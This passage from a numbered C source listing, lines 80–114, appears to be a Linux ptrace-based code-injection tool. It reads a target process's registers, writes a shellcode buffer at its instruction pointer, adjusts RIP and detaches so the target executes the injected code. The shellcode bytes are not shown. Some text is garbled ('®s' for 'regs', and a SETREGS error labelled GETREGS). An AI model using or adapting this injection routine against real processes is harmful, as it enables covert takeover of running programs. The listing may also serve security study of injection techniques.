Waiting for process...\n"); 81 | wait (NULL); 82 | 83 | printf ("+ Getting Registers\n"); 84 | if ((ptrace (PTRACE_GETREGS, target, NULL, ®s)) < 0) 85 | { 86 | perror ("ptrace(GETREGS):"); 87 | exit (1); 88 | } 89 | 90 | 91 | /* Inject code into current RPI position */ 92 | 93 | printf ("+ Injecting shell code at %p\n", (void*)regs.rip); 94 | inject_data (target, shellcode, (void*)regs.rip, SHELLCODE_SIZE); 95 | 96 | regs.rip += 2; 97 | printf ("+ Setting instruction pointer to %p\n", (void*)regs.rip); 98 | 99 | if ((ptrace (PTRACE_SETREGS, target, NULL, ®s)) < 0) 100 | { 101 | perror ("ptrace(GETREGS):"); 102 | exit (1); 103 | } 104 | printf ("+ Run it!\n"); 105 | 106 | 107 | if ((ptrace (PTRACE_DETACH, target, NULL, NULL)) < 0) 108 | { 109 | perror ("ptrace(DETACH):"); 110 | exit (1); 111 | } 112 | return 0; 113 | 114 | } --------------------------------------------------------------------------------